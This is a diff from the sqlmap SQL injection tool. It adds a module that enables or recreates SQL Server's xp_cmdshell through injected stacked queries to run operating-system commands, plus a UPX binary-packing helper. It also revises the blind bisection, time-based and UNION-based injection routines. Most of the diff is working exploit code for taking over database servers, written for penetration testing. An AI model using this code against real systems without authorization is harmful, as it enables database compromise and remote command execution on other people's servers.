FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
from subprocess import STDOUT
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import pollProcess
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
class UPX:
|
||||
"""
|
||||
This class defines methods to compress binary files with UPX (Ultimate
|
||||
Packer for eXecutables).
|
||||
|
||||
Reference:
|
||||
* http://upx.sourceforge.net
|
||||
"""
|
||||
|
||||
def __initialize(self, srcFile, dstFile=None):
|
||||
if "win" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
elif "linux" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||
|
||||
if dstFile:
|
||||
self.__upxCmd += " -o %s" % dstFile
|
||||
|
||||
|
||||
def pack(self, srcFile, dstFile=None):
|
||||
self.__initialize(srcFile, dstFile)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__upxCmd)
|
||||
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
upxStderr = process.communicate()[1]
|
||||
|
||||
if upxStderr:
|
||||
logger.warn("failed to compress the file")
|
||||
|
||||
return None
|
||||
else:
|
||||
return os.path.getsize(srcFile)
|
||||
|
||||
|
||||
def unpack(self, srcFile, dstFile=None):
|
||||
pass
|
||||
|
||||
|
||||
def verify(self, filePath):
|
||||
pass
|
||||
|
||||
|
||||
upx = UPX()
|
||||
220
lib/takeover/xp_cmdshell.py
Normal file
220
lib/takeover/xp_cmdshell.py
Normal file
|
|
@ -0,0 +1,220 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.blind.timebased import timeUse
|
||||
|
||||
|
||||
class xp_cmdshell:
|
||||
"""
|
||||
This class defines methods to deal with Microsoft SQL Server
|
||||
xp_cmdshell extended procedure for plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.xpCmdshellStr = "master..xp_cmdshell"
|
||||
|
||||
|
||||
def __xpCmdshellCreate(self):
|
||||
# TODO: double-check that this method works properly
|
||||
cmd = ""
|
||||
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
logger.debug("activating sp_OACreate")
|
||||
|
||||
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
|
||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
|
||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
|
||||
cmd += "declare @%s nvarchar(999); " % self.__randStr
|
||||
cmd += "set @%s='" % self.__randStr
|
||||
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
|
||||
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
|
||||
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
|
||||
cmd += "EXEC sp_OADestroy @ID'; "
|
||||
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
|
||||
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
cmd += " RECONFIGURE WITH OVERRIDE;"
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
|
||||
def __xpCmdshellConfigure2005(self, mode):
|
||||
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||
debugMsg += "stored procedure"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
|
||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
|
||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||
cmd += "EXEC sp_configure 'show advanced options', 0"
|
||||
|
||||
return cmd
|
||||
|
||||
|
||||
def __xpCmdshellConfigure2000(self, mode):
|
||||
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||
debugMsg += "stored procedure"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if mode == 1:
|
||||
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
||||
cmd += "@dllname='xplog70.dll'"
|
||||
else:
|
||||
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
|
||||
|
||||
return cmd
|
||||
|
||||
|
||||
def __xpCmdshellConfigure(self, mode):
|
||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||
else:
|
||||
cmd = self.__xpCmdshellConfigure2000(mode)
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
|
||||
def __xpCmdshellCheck(self):
|
||||
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
||||
duration = timeUse(query)
|
||||
|
||||
if duration >= conf.timeSec:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def xpCmdshellForgeCmd(self, cmd):
|
||||
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
||||
|
||||
|
||||
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if forgeCmd == True:
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked(cmd, silent)
|
||||
|
||||
|
||||
def xpCmdshellEvalCmd(self, cmd):
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def xpCmdshellInit(self, mandatory=True):
|
||||
self.__xpCmdshellAvailable = False
|
||||
|
||||
infoMsg = "checking if xp_cmdshell extended procedure is "
|
||||
infoMsg += "available, wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = self.__xpCmdshellCheck()
|
||||
|
||||
if result == True:
|
||||
logger.info("xp_cmdshell extended procedure is available")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
else:
|
||||
message = "xp_cmdshell extended procedure does not seem to "
|
||||
message += "be available. Do you want sqlmap to try to "
|
||||
message += "re-enable it? [Y/n] "
|
||||
choice = readInput(message, default="Y")
|
||||
|
||||
if not choice or choice in ("y", "Y"):
|
||||
self.__xpCmdshellConfigure(1)
|
||||
|
||||
if self.__xpCmdshellCheck() == True:
|
||||
logger.info("xp_cmdshell re-enabled successfully")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
else:
|
||||
logger.warn("xp_cmdshell re-enabling failed")
|
||||
|
||||
logger.info("creating xp_cmdshell with sp_OACreate")
|
||||
self.__xpCmdshellConfigure(0)
|
||||
self.__xpCmdshellCreate()
|
||||
|
||||
if self.__xpCmdshellCheck() == True:
|
||||
logger.info("xp_cmdshell created successfully")
|
||||
self.__xpCmdshellAvailable = True
|
||||
|
||||
else:
|
||||
warnMsg = "xp_cmdshell creation failed, probably "
|
||||
warnMsg += "because sp_OACreate is disabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if self.__xpCmdshellAvailable == False and mandatory == False:
|
||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
||||
warnMsg += "try to proceed without it"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
elif self.__xpCmdshellAvailable == False:
|
||||
errMsg = "unable to proceed without xp_cmdshell"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -31,6 +31,7 @@ import traceback
|
|||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
|
|
@ -44,25 +45,27 @@ from lib.core.unescaper import unescaper
|
|||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None):
|
||||
def bisection(payload, expression, length=None, charsetType=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
"""
|
||||
|
||||
partialValue = ""
|
||||
finalValue = ""
|
||||
partialValue = ""
|
||||
finalValue = ""
|
||||
|
||||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
else:
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
|
||||
infoMsg = "query: %s" % expressionUnescaped
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "query: %s" % expressionUnescaped
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if length and not isinstance(length, int) and length.isdigit():
|
||||
length = int(length)
|
||||
|
|
@ -91,23 +94,25 @@ def bisection(payload, expression, length=None):
|
|||
queriesCount = [0] # As list to deal with nested scoping rules
|
||||
|
||||
|
||||
def getChar(idx):
|
||||
maxValue = 127
|
||||
def getChar(idx, asciiTbl=asciiTbl):
|
||||
maxValue = asciiTbl[len(asciiTbl)-1]
|
||||
minValue = 0
|
||||
|
||||
while (maxValue - minValue) != 1:
|
||||
while len(asciiTbl) != 1:
|
||||
queriesCount[0] += 1
|
||||
limit = ((maxValue + minValue) / 2)
|
||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
||||
position = (len(asciiTbl) / 2)
|
||||
posValue = asciiTbl[position]
|
||||
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
||||
result = Request.queryPage(forgedPayload)
|
||||
|
||||
if result == True:
|
||||
minValue = limit
|
||||
minValue = posValue
|
||||
asciiTbl = asciiTbl[position:]
|
||||
else:
|
||||
maxValue = limit
|
||||
maxValue = posValue
|
||||
asciiTbl = asciiTbl[:position]
|
||||
|
||||
if (maxValue - minValue) == 1:
|
||||
# NOTE: this first condition should never occur
|
||||
if len(asciiTbl) == 1:
|
||||
if maxValue == 1:
|
||||
return None
|
||||
else:
|
||||
|
|
@ -148,7 +153,7 @@ def bisection(payload, expression, length=None):
|
|||
idxlock.release()
|
||||
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
|
@ -226,9 +231,9 @@ def bisection(payload, expression, length=None):
|
|||
index = 0
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index)
|
||||
val = getChar(index, asciiTbl)
|
||||
|
||||
if val == None:
|
||||
break
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -27,10 +27,10 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import getDelayQuery
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
|
@ -40,8 +40,7 @@ def timeTest():
|
|||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
timeQuery = queries[kb.dbms].timedelay % SECONDS
|
||||
|
||||
timeQuery = getDelayQuery()
|
||||
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
|
@ -49,7 +48,7 @@ def timeTest():
|
|||
_ = Request.queryPage(payload)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
if duration >= conf.timeSec:
|
||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||
infoMsg += "based blind sql injection with AND condition syntax"
|
||||
logger.info(infoMsg)
|
||||
|
|
@ -69,7 +68,7 @@ def timeTest():
|
|||
payload, _ = inject.goStacked(timeQuery)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
if duration >= conf.timeSec:
|
||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||
infoMsg += "based blind sql injection with stacked query syntax"
|
||||
logger.info(infoMsg)
|
||||
|
|
@ -83,3 +82,11 @@ def timeTest():
|
|||
kb.timeTest = False
|
||||
|
||||
return kb.timeTest
|
||||
|
||||
|
||||
def timeUse(query):
|
||||
start = time.time()
|
||||
_, _ = inject.goStacked(query)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
return duration
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -25,14 +25,103 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __unionPosition(negative=False, falseCond=False):
|
||||
if negative or falseCond:
|
||||
negLogMsg = "partial (single entry)"
|
||||
else:
|
||||
negLogMsg = "full"
|
||||
|
||||
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
|
||||
infoMsg += "'%s'" % kb.injParameter
|
||||
|
||||
if negative:
|
||||
infoMsg += " with negative parameter value"
|
||||
elif falseCond:
|
||||
infoMsg += " by appending a false condition after the parameter value"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
# For each column of the table (# of NULL) perform a request using
|
||||
# the UNION ALL SELECT statement to test it the target url is
|
||||
# affected by an exploitable inband SQL injection vulnerability
|
||||
for exprPosition in range(0, kb.unionCount):
|
||||
# Prepare expression with delimiters
|
||||
randQuery = randomStr()
|
||||
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
||||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
|
||||
|
||||
# Perform the request
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
|
||||
# We have to assure that the randQuery value is not within the
|
||||
# HTML code of the result page because, for instance, it is there
|
||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||
# server
|
||||
htmlParsed = htmlParser(resultPage)
|
||||
|
||||
if randQuery in resultPage and not htmlParsed:
|
||||
setUnion(position=exprPosition)
|
||||
|
||||
break
|
||||
|
||||
if isinstance(kb.unionPosition, int):
|
||||
infoMsg = "the target url is affected by an exploitable "
|
||||
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an exploitable "
|
||||
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
|
||||
if negLogMsg == "partial":
|
||||
warnMsg += ", sqlmap will retrieve the query output "
|
||||
warnMsg += "through blind sql injection technique"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def __unionConfirm():
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition()
|
||||
|
||||
# Assure that the above function found the exploitable full inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition(falseCond=True)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# (single entry) inband SQL injection position by appending
|
||||
# a false condition after the parameter value
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition(negative=True)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# (single entry) inband SQL injection position with negative
|
||||
# parameter value
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return
|
||||
else:
|
||||
conf.paramNegative = True
|
||||
else:
|
||||
conf.paramFalseCond = True
|
||||
|
||||
|
||||
def __forgeUserFriendlyValue(payload):
|
||||
value = ""
|
||||
|
||||
|
|
@ -119,9 +208,9 @@ def unionTest():
|
|||
else:
|
||||
technique = "NULL bruteforcing"
|
||||
|
||||
logMsg = "testing inband sql injection on parameter "
|
||||
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing inband sql injection on parameter "
|
||||
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
||||
logger.info(infoMsg)
|
||||
|
||||
value = ""
|
||||
columns = None
|
||||
|
|
@ -138,9 +227,7 @@ def unionTest():
|
|||
break
|
||||
|
||||
if kb.unionCount:
|
||||
logMsg = "the target url could be affected by an "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
__unionConfirm()
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an "
|
||||
warnMsg += "inband sql injection vulnerability"
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -29,7 +29,6 @@ import time
|
|||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
|
|
@ -39,78 +38,15 @@ from lib.core.data import temp
|
|||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
reqCount = 0
|
||||
reqCount = 0
|
||||
|
||||
|
||||
def __unionPosition(expression, negative=False):
|
||||
global reqCount
|
||||
|
||||
if negative:
|
||||
negLogMsg = "partial"
|
||||
else:
|
||||
negLogMsg = "full"
|
||||
|
||||
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
|
||||
infoMsg += "'%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
# For each column of the table (# of NULL) perform a request using
|
||||
# the UNION ALL SELECT statement to test it the target url is
|
||||
# affected by an exploitable inband SQL injection vulnerability
|
||||
for exprPosition in range(0, kb.unionCount):
|
||||
# Prepare expression with delimiters
|
||||
randQuery = randomStr()
|
||||
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
||||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||
|
||||
if len(randQueryUnescaped) > len(expression):
|
||||
blankCount = len(randQueryUnescaped) - len(expression)
|
||||
expression = (" " * blankCount) + expression
|
||||
elif len(randQueryUnescaped) < len(expression):
|
||||
blankCount = len(expression) - len(randQueryUnescaped)
|
||||
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||
payload = agent.payload(newValue=query, negative=negative)
|
||||
|
||||
# Perform the request
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
reqCount += 1
|
||||
|
||||
# We have to assure that the randQuery value is not within the
|
||||
# HTML code of the result page because, for instance, it is there
|
||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||
# server
|
||||
htmlParsed = htmlParser(resultPage)
|
||||
|
||||
if randQuery in resultPage and not htmlParsed:
|
||||
setUnion(position=exprPosition)
|
||||
|
||||
break
|
||||
|
||||
if isinstance(kb.unionPosition, int):
|
||||
infoMsg = "the target url is affected by an exploitable "
|
||||
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an exploitable "
|
||||
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
|
||||
if negLogMsg == "partial":
|
||||
warnMsg += ", sqlmap will retrieve the query output "
|
||||
warnMsg += "through blind sql injection technique"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
||||
"""
|
||||
This function tests for an inband SQL injection on the target
|
||||
url then call its subsidiary function to effectively perform an
|
||||
|
|
@ -138,28 +74,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||
|
||||
# Prepare expression with delimiters
|
||||
if unescape:
|
||||
expression = agent.concatQuery(expression)
|
||||
expression = agent.concatQuery(expression, unpack)
|
||||
expression = unescaper.unescape(expression)
|
||||
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position only once
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition(expression)
|
||||
|
||||
# Assure that the above function found the exploitable full inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition(expression, True)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# inband SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return
|
